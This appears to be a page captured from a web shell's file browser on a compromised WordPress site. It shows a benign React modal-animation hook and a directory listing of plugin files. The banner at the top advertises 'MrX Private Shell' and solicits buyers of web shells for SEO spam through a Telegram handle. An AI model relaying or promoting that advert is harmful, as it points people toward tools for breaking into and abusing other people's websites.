__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { useState } from '@wordpress/element'
import { useSpring } from 'react-spring'
import bezierEasing from 'bezier-easing'
export const useSpringModal = (args = {}) => {
args = {
onClosed: () => {},
...args,
}
const [modalOpen, setModalOpen] = useState(false)
const [modalSprings, modalAnimationApi] = useSpring(() => ({
from: {
transform: 'scale3d(0.95, 0.95, 1)',
opacity: 0,
},
config: {
duration: 100,
easing: bezierEasing(0.25, 0.1, 0.25, 1.0),
},
}))
// First render modal and make it hidden.
//
// Then, after one frame, animate the modal to be visible.
const openModal = () => {
if (modalOpen) {
return
}
setModalOpen(true)
requestAnimationFrame(() => {
modalAnimationApi.start({
transform: 'scale3d(1, 1, 1)',
opacity: 1,
})
})
}
// Animate the modal to be hidden first. Then fully remove it from the DOM.
const closeModal = () => {
if (!modalOpen) {
return
}
modalAnimationApi.start({
transform: 'scale3d(0.95, 0.95, 1)',
opacity: 0,
onRest: () => {
setModalOpen(false)
args.onClosed()
},
})
}
return {
modalOpen,
modalStyles: modalSprings,
openModal,
closeModal,
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| compose-event-handlers.js | File | 111 B | 0640 |
|
| get-label.js | File | 1014 B | 0640 |
|
| get-value-from-input.js | File | 2.93 KB | 0640 |
|
| get-value-from-input.test.js | File | 2.13 KB | 0640 |
|
| getNumericKeyboardEvents.js | File | 889 B | 0640 |
|
| mutate-responsive-value.js | File | 1.9 KB | 0640 |
|
| mutate-responsive-value.test.js | File | 4.44 KB | 0640 |
|
| normalize-color.js | File | 312 B | 0640 |
|
| parse-choices.js | File | 251 B | 0640 |
|
| primitive-types.js | File | 391 B | 0640 |
|
| transform-value-for-rtl.js | File | 154 B | 0640 |
|
| usePopoverMaker.js | File | 5.78 KB | 0640 |
|
| useSpringModal.js | File | 1.17 KB | 0640 |
|